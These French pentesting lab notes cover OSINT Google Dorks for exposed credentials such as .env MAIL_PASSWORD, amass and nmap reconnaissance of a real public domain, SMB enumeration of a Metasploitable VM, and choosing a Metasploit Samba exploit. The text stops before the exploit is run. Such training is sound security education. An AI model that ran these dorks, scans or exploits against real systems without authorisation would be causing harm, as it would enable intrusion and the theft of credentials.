

PENTESTING

Lab 1: Reconnaissance et test d'intrusion

PARTIE 1: Installation

- 1- Télécharger, Installer kali et mettez-le sur un réseau nat
- 2- Installer metasploitable et configurez le dans un switch privé ou il n'aura pas la connexion pour éviter que les machines connectés sorte du réseau.

PARTIE 2: OSIN

Objectif :

Découvrir des informations sensibles ou accessibles publiquement grâce à des techniques d'Open Source Intelligence (OSINT), notamment via les Google Dorks.

1- Recherche de PDF

site:root-me.org ext:pdf "pass"

Ce Google Dork permet de rechercher uniquement des fichiers PDF présents sur le site root-me.org et contenant le mot "pass" dans leur contenu.

site:root-me.org → limite la recherche au domaine root-me.org. Possibilité de taper aussi un autre nom de domaine.

ext:pdf → ne montre que les fichiers PDF

"pass" → cherche le mot exact pass, souvent utilisé pour trouver des mots de passe ou des documents sensibles

→ Objectif : retrouver des PDF liés à des mots de passe, potentiellement sensibles, présents sur Root-Me.

2- Archive d'emails

- **inurl:pipermail filetype:txt**

Recherche des fichiers .txt dont l'URL contient pipermail. Elle permet d'accéder à des archives de mailing-list, souvent exposées en ligne.

3- Recherche d'identifiant SMTP exposé

- **"MAIL_PASSWORD" filetype:env**

Recherche des fichiers .env (variables d'environnement) contenant la chaîne exacte MAIL_PASSWORD. Elle peut révéler des identifiants SMTP ou comptes mail exposés.

PARTIE 3 :Reconnaissance

Identifier les systèmes, adresses IP, sous-domaines, ports actifs et services pour repérer des points d'entrée exploitables.

Nous Allons aborder:

- Découverte d'hôtes réseau
- Scan de ports
- Identification de services
- Analyse SMB / NetBIOS
- Enumeration avancée

1- Rechercher des sous domaines afin de cibler des points d'entrées avec la commande **amass enum -d le nom du domaine -active**.

Première étape essentielle dans toute attaque d'une surface externe

```
(klett@kali)-[/]
PS> amass enum -d groupe-gema.com -active --lebrun
groupe-gema.com
mail.groupe-gema.com
www.groupe-gema.com
backup.intranet.groupe-gema.com
stagingv3.groupe-gema.com
alumni.groupe-gema.com
preprod.groupe-gema.com
dba.groupe-gema.com
staging.groupe-gema.com
www.preprod.groupe-gema.com
demo.groupe-gema.com
v3staging.groupe-gema.com
backup.groupe-gema.com
ppitv3.groupe-gema.com
intranet.groupe-gema.com
backupv3.groupe-gema.com

OWASP Amass v3.20.0
ass

16 names discovered - scrape: 2, archive: 1, cert: 13

ASN: 50474 - 02SWITCH
109.234.160.0/21 5 Subdomain Name(s)
ASN: 16276 - OVH
51.91.0.0/16 1 Subdomain Name(s)
145.239.0.0/16 1 par Subdomain Name(s)
51.210.0.0/16 4 Subdomain Name(s)
51.178.0.0/16 2 Subdomain Name(s)
135.125.0.0/16 1 Subdomain Name(s)
51.38.0.0/16 1 Subdomain Name(s)
ASN: 57809 - SERVEURCOM
23.90.192.0/18 1 Subdomain Name(s)

The enumeration has finished
Discoveries are being migrated into the local database
```

2- Repérer l'adresse IP d'une machine se trouvant dans le même réseau avec la commande:

Sudo netdiscover -i eth0

FichierActionsÉditerVueAide

Currently scanning: 172.16.62.0/16 | Screen View: Unique Hosts

5 Captured ARP Req/Rep packets, from 3 hosts. Total size: 300

IP	At	MAC Address	Count	Len	MAC Vendor / Hostname
192.168.223.1	00:50:56:c0:00:01	3	180	VMware, Inc.	
192.168.223.132	00:0c:29:23:0b:27	1	60	VMware, Inc.	
192.168.223.254	00:50:56:f0:80:90	1	60	VMware, Inc.	

TousVidéosLivresActualitésImagesMaps

Qui retrouve l'ip de la machine metasploitablee d'autre se trouvant dans le même réseau

Adresse Metasploit

```
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen
link/ether 00:0c:29:23:0b:27 brd ff:ff:ff:ff:ff:ff
inet 192.168.223.132/24 brd 192.168.223.255 scope global eth0
inet6 fe80::20c:29ff:fe23:b27/64 scope link
    valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
link/ether 00:0c:29:23:0b:31 brd ff:ff:ff:ff:ff:ff
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen
link/ether 00:0c:29:23:0b:27 brd ff:ff:ff:ff:ff:ff
inet 192.168.223.132/24 brd 192.168.223.255 scope global eth0
inet6 fe80::20c:29ff:fe23:b27/64 scope link
    valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
link/ether 00:0c:29:23:0b:31 brd ff:ff:ff:ff:ff:ff
msfadmin@metasploitable:~$
```

3- Scan global d'un domaine

Nmap www.groupe-gema.com

```
(klett@kali)-[~]
$ nmap www.groupe-gema.com
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-16 22:06 CET
Nmap scan report for www.groupe-gema.com (109.234.160.70)
Host is up (0.017s latency).
rDNS record for 109.234.160.70: 109-234-160-70.reverse.odns.fr
Not shown: 989 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
26/tcp    open  rsftp
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
443/tcp   open  https
465/tcp   open  smtps
587/tcp   open  submission
993/tcp   open  imaps
995/tcp   open  pop3s
3306/tcp  open  mysql
Nmap done: 1 IP address (1 host up) scanned in 85.28 seconds
```

Nmap -p 0-1500 www.groupe-gema.com

```
(klett@kali)-[~]
$ nmap -p 0-1500 www.groupe-gema.com
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-16 22:09 CET
Nmap scan report for www.groupe-gema.com (109.234.160.70)
Host is up (0.023s latency).
rDNS record for 109.234.160.70: 109-234-160-70.reverse.odns.fr
Not shown: 1484 filtered tcp ports (no-response), 8 filtered tcp ports (host-unreach)
PORT      STATE SERVICE
21/tcp    open  ftp
26/tcp    open  rsftp
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
443/tcp   open  https
587/tcp   open  submission
993/tcp   open  imaps
995/tcp   open  pop3s
Nmap done: 1 IP address (1 host up) scanned in 139.93 seconds
```

Ici nous avons pour objectif d'identifier **les ports ouverts d'un domaine public et de détecter les services vulnérable**.

4- Scan du réseau local

- **sudo nmap -sn** suivi de l'adresse de notre machine avec son masque.
Ce qui nous permettra de lister toutes les machines actives du réseau

```
(klett@kali)-[~]
$ sudo nmap -sn 192.168.223.1/24
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-16 22:33 CET
Nmap scan report for 192.168.223.1
Host is up (0.00032s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.223.132
Host is up (0.00024s latency).
MAC Address: 00:0C:29:23:0B:27 (VMware)
Nmap scan report for 192.168.223.254
Host is up (0.00028s latency).
MAC Address: 00:50:56:F0:80:90 (VMware)
Nmap scan report for 192.168.223.131
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.12 seconds
```

Sous windows nous pouvons utiliser **angry ip scanner** .

5- Scan complet de la machine Metasploitable

- **sudo nmap -sS -sV 192.168.223.132/24**

```
(klett@kali)-[~]
$ sudo nmap -sS -sV 192.168.223.132/24
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-16 22:42 CET
Nmap scan report for 192.168.223.1
Host is up (0.00032s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
903/tcp    open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
5386/tcp   open  mysql          MySQL (unauthorized)
6646/tcp   open  tcpwrapped
MAC Address: 00:0C:29:23:0B:27 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.223.132
Host is up (0.00085s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp    open  rpcbind        2 (RPC #100000)
139/tcp    open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp    open  exec           netkit-rsh rexecd
513/tcp    open  login          OpenBSD or Solaris rlogind
514/tcp    open  shell          Netkit rshd
1099/tcp   open  java-rmi       GNU Classpath gmicregistry
1524/tcp   open  bindshell      Metasploitable root shell
2049/tcp   open  nfs            2-4 (RPC #100003)
2121/tcp   open  ftp            ProFTPD 1.3.1
3306/tcp   open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp   open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5986/tcp   open  vnc            VNC (protocol 3.3)
6000/tcp   open  x11            (access denied)
6667/tcp   open  irc            UnrealIRCd
6880/tcp   open  r3p13          Apache Jserv (Protocol v1.3)
8180/tcp   open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:23:0B:27 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux;
CPE: cpe:/o:linux:linux_kernel
```

```
Nmap scan report for 192.168.223.254
Host is up (0.00020s latency).
All 1000 scanned ports on 192.168.223.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:F0:80:90 (VMware)

Nmap scan report for 192.168.223.131
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.223.131 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit
/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 45.52 seconds
```

Cette commande est utiliser pour:

- **Scan SYNfurtif (-sS)**
- **Détections des versions (-sV)**
- **Analyse des services disponibles**

6- Scan du port smb (445)

- **sudo nmap -sS -p 445 -A 192.168.223.132/24:** Qui nous permettra d'identifier les services SMB actifs pour une exploitation.

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-11-16 22:53 CET
Nmap scan report for 192.168.223.1
Host is up (0.00069s latency).

PORT      STATE SERVICE      VERSION
445/tcp   open  microsoft-ds?
MAC Address: 00:50:56:C0:00:01 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 c
losed port
Aggressive OS guesses: Microsoft Windows 10 1703 (99%), Microsoft Windows 10 1507 - 1607 (9
7%), Microsoft Windows 10 1511 (96%), Microsoft Windows Longhorn (95%), Microsoft Windows 1
0 (94%), Microsoft Windows 10 10586 - 14393 (94%), Microsoft Windows Server 2008 (94%), Mic
rosoft Windows Server 2016 build 10586 - 14393 (94%), Microsoft Windows 7 Professional (94%
), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows
9, or Windows 8.1 Update 1 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Host script results:
|_ nbstat: NetBIOS name: LENOVO-KG, NetBIOS user: <unknown>, NetBIOS MAC: 005056c00001 (Vmw
are)
|_ smb2-time:
|   date: 2025-11-16T21:53:55
|_  start_date: N/A
|_ smb2-security-mode:
|   311:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.69 ms 192.168.223.1

Nmap scan report for 192.168.223.132
Host is up (0.00039s latency).

PORT      STATE SERVICE      VERSION
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:23:0B:27 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 c
losed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
```

```
Host script results:
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ clock-skew: ms: -13h5m42s, deviation: 3h32m07s, median: -15h56m42s
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000
(Xerox)
|_ smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2025-11-16T00:57:12-05:00
|_ smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.223.132

Nmap scan report for 192.168.223.254
Host is up (0.00021s latency).

PORT      STATE SERVICE      VERSION
445/tcp   filtered microsoft-ds
MAC Address: 00:50:56:F0:80:90 (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms 192.168.223.254

Nmap scan report for 192.168.223.131
Host is up (0.000093s latency).

PORT      STATE SERVICE      VERSION
445/tcp   closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 46.57 seconds
```

Ce scan pour but l'identification de :

- **Service SMB**
- **Versions du service**
- **Vulnérabilités associées**

7. scan Nmap - Script NBSTAT POUR NetBIOS

a. Analyse des versions avec nmap -sV -v --script nbstat.nse (adresse du serveur)

```

Nmap scan report for 192.168.223.132
Host is up (0.0023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
|_ http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind
|_ rpcinfo:
|_  program version    port/proto  service
|_  100000  2                111/tcp    rpcbind
|_  100000  2                111/udp    rpcbind
|_  100003  2,3,4            2049/tcp   nfs
|_  100003  2,3,4            2049/udp   nfs
|_  100005  1,2,3            43994/tcp  mountd
|_  100005  1,2,3            57597/udp  mountd
|_  100021  1,3,4            48868/tcp  nlockmgr
|_  100021  1,3,4            57656/udp  nlockmgr
|_  100024  1                48353/tcp  status
|_  100024  1                60950/udp  status
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1000/tcp  open  java-rmi
3524/tcp  open  bindshell
2040/tcp  open  nfs
2121/tcp  open  ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  x11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  http
|_ http-server-header: Apache-Coyote/1.1
MAC Address: 08:0C:29:23:08:27 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux;
CPE: cpe:/o:linux:kernel

Host script results:
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000

```

```
Host script results:
| nbstask: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000
(Xerox)
| Names:
|   METASPLOITABLE<00>    Flags: <unique><active>
|   METASPLOITABLE<03>    Flags: <unique><active>
|   METASPLOITABLE<20>    Flags: <unique><active>
|   \x01\x02_MSBROWSE     \x02<01>    Flags: <group><active>
|   WORKGROUP<00>         Flags: <group><active>
|   WORKGROUP<1d>         Flags: <unique><active>
|   WORKGROUP<1e>         Flags: <group><active>
| Statistics:
|   0000000000000000000000000000000000000000000000000000000000000000
|   0000000000000000000000000000000000000000000000000000000000000000
|_  0000000000000000000000000000000000000000000000000000000000000000

NSE: Script Post-scanning.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org submit
/ ...
Nmap done: 1 IP address (1 host up) scanned in 25.08 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)
```

b. Scan UDP du port 137 avec `nmap -sU -p 137 --script nbstat.nse(Adresse ip serveur)`.

Ici nous faisons ce scan afin d'obtenir le nom de la machine, le workgroup et la liste des services NETBIOS.

```
sudo nmap -su -p 137 --script nbstat.nse 192.168.223.132

Starting Nmap 7.93 (https://nmap.org) at 2025-11-16 23:11 CET
Nmap scan report for 192.168.223.132
Host is up (0.00070s latency).

PORT      STATE SERVICE
137/tcp   open  netbios-ns
MAC Address: 00:0C:29:23:0B:27 (VMware)

Host script results:
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000
(Xerox)
|_ Names:
|_ |_ METASPLOITABLE<00>    Flags: <unique><active>
|_ |_ METASPLOITABLE<03>    Flags: <unique><active>
|_ |_ METASPLOITABLE<20>    Flags: <unique><active>
|_ |_ \x01\x02_MSBROWSE \x02<01>  Flags: <group><active>
|_ |_ WORKGROUP<00>         Flags: <group><active>
|_ |_ WORKGROUP<1d>         Flags: <unique><active>
|_ |_ WORKGROUP<1e>         Flags: <group><active>

Nmap done: 1 IP address (1 host up) scanned in 13.72 seconds
```

8- enumeration du SMB avec enum4linux -a (adresse)

```
S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User)
S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User)
S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User)
S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User)
S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User)
S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User)
S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User)
S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User)
S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User)
S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User)
S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User)
S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User)
S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group)
```

Cette énumération nous permettra de :

- Identifier les partages SMB
- Extraire la liste des utilisateurs
- Récupérer les SIDs

BONNE PRATIQUE :

Pour sécurité applicative je vous recommande les configurations la suivante :

- redirection : automatique du canal HTTP vers le canal HTTPS (i.e. port 80 vers port 443 par défaut) ;
- certificat : configurer une durée de vie de 90 jours dans l'idéal, dans tous les cas inférieure à 1 an ;
- protocoles autorisés : TLS 1.3 et TLS 1.2 ;
- suites de chiffrement : tailles de clé > 128 bits, fonction de hachage > 256 bits.

LAB 2: Exploitation

PARTIE 1

Objectif :

Exploiter une vulnérabilité Samba sur Metasploitable 2 via Kali Linux pour obtenir une session distante.

Nous aborderons:

- Scan réseau avancé (Nmap)
- Analyse des services SMB
- Utilisation de Metasploit Framework
- Recherche d'exploits Samba
- Configuration d'un payload
- Exploitation et ouverture d'une session distante
- Navigation sur un système compromis (cd, ls...)

Etape 1: Scan du serveur

But:

- Identifier les ports ouverts
- Détecter les services et versions
- Rechercher des vulnérabilités potentielles

nmap -sS -p 1-65535 -A 192.168.xx.xx

```
Nmap scan report for 192.168.223.132
Host is up (0.00077s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.223.131
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
|_ssl-date: 2025-11-16T06:38:13+00:00; -15h56m40s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrPr
ovinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTL
S, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_SSL2_RC4_128_WITH_MD5
|_SSL2_DES_64_CBC_WITH_MD5
|_SSL2_RC2_128_CBC_WITH_MD5
|_SSL2_DES_192_FFE3_CBC_WITH_MD5
|_SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp    open  domain   ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind  2 (RPC #100000)
```

```

http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
rpcinfo:
  program version port/proto service
  100000 2 111/tcp rpcbind
  100000 2 111/udp rpcbind
  100003 2,3,4 2049/tcp nfs
  100003 2,3,4 2049/udp nfs
  100005 1,2,3 43994/tcp mountd
  100005 1,2,3 57597/tcp mountd
  100021 1,3,4 48868/tcp nlockmgr
  100021 1,3,4 57656/udp nlockmgr
  100024 1 48353/tcp status
  100024 1 60950/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rshexec
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
mysql-info:
  Protocol: 10
  Version: 5.0.51a-3ubuntu5
  Thread ID: 10
  Capabilities flags: 43564
  Some Capabilities: SupportsCompression, ConnectWithDatabase, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, LongColumnFlag
  Status: Autocommit
  Salt: @0mqgJUr-bpJa)Hov
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
  ssl-date: 2025-11-16T06:38:14+00:00; -15h56m40s from scanner time.
  ssl-cert: Subject: commonName=ubuntu0804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
  Not valid before: 2010-03-17T14:07:45
  Not valid after: 2010-04-16T14:07:45
5900/tcp open vnc VNC (protocol 3.3)
vnc-info:
  Protocol version: 3.3
  Security types:
  _ VNC Authentication (2)
6000/tcp open x11 (access denied)
6667/tcp open irc UnrealIRCd

```

Etape 2: identification du port SMB

Dans le scan chercher la ligne du port 445.

```
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
```

Ce service très vieux est reconnu pour avoir plusieurs vulnérabilités.

Etape 3: Lancer Metasploit

Charger la plateforme d'exploitation Metasploit.

```
(klett@kali) [~]
$ msfconsole

msf6 > db

db'BBBBbb dBBBP dBBBbBP dBBBbb
| - db' BBP
db'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBP dBP dBBBbb

          dBBbBP dBBBbb dBP dBBBP dBP dBBBbBP
          |      dB' dBP dB'.BP
--o--    |      dBP dBBB' dBP dB'.BP dBP dBP
          |      dBBBP dBP dBBBP dBBBP dBP
          |      dBP

To boldly go where no
shell has gone before

=[ metasploit v6.2.26-dev ]
+ -- ==[ 2264 exploits - 1189 auxilliary - 404 post
+ -- ==[ 951 payloads - 45 encoders - 11 nops
+ -- ==[ 9 evasion ]

Metasploit tip: View a module's description using
info, or the enhanced version in your browser with
info -d
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Etape 4: Recherche de l'exploit Samba

Rechercher toutes les vulnérabilités Samba disponibles dans Metasploit.

#	Name	Disclosure Date	Rank	Che
ck	Description			
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes
	Citrix Access Gateway Command Execution			
1	exploit/windows/license/calliclnt_getconfig	2005-03-02	average	No
	Computer Associates License Client GETCONFIG Overflow			
2	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes
	DistCC Daemon Command Execution			
3	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No
	Group Policy Script Execution From Shared Resource			
4	post/linux/gather/enum_configs		normal	No
	Linux Gather Configurations			
5	auxiliary/scanner/rsync/modules_list		normal	No
	List Rsync Modules			
6	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No
	MS14-060 Microsoft Windows OLE Package Manager Code Execution			
7	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes
	Quest KACE Systems Management Command Injection			
8	exploit/multi/samba/usermap_script	2007-05-14	excellent	No
	Samba "username map script" Command Execution			
9	exploit/multi/samba/nttrans	2003-04-07	average	No
	Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow			
10	exploit/linux/samba/setinfopolicy_heap	2012-04-10	normal	Yes
	Samba SetInformationPolicy AuditEventsInfo Heap Overflow			
11	auxiliary/admin/smb/samba_symlink_traversal		normal	No
	Samba Symlink Directory Traversal			
12	auxiliary/scanner/smb/smb_uninit_cred		normal	Yes
	Samba netr ServerPasswordSet Uninitialized Credential State			
13	exploit/linux/samba/chain_reply	2010-06-16	good	No
	Samba chain_reply Memory Corruption (Linux x86)			
14	exploit/linux/samba/is_known_pipename	2017-03-24	excellent	Yes
	Samba is_known_pipename() Arbitrary Module Load			
15	auxiliary/dos/samba/lsa_addprivs_heap		normal	No
	Samba lsa_io_privilege_set Heap Overflow			No
16	auxiliary/dos/samba/lsa_transnames_heap		normal	No
	Samba lsa_io_trans_names Heap Overflow			No
17	exploit/linux/samba/lsa_transnames_heap	2007-05-14	good	Yes
	Samba lsa_io_trans_names Heap Overflow			No
18	exploit/osx/samba/lsa_transnames_heap	2007-05-14	average	No
	Samba lsa_io_trans_names Heap Overflow			Yes
19	exploit/solaris/samba/lsa_transnames_heap	2007-05-14	average	No
	Samba lsa_io_trans_names Heap Overflow			
20	auxiliary/dos/samba/read_nttrans_ea_list		normal	No
	Samba read_nttrans_ea_list Integer Overflow			low
21	exploit/freebsd/samba/trans2open	2003-04-07	great	No

Récupérer l'exploit 8 : **exploit/multi/samba/usermap_script**

Etape 5: Utiliser l'exploit

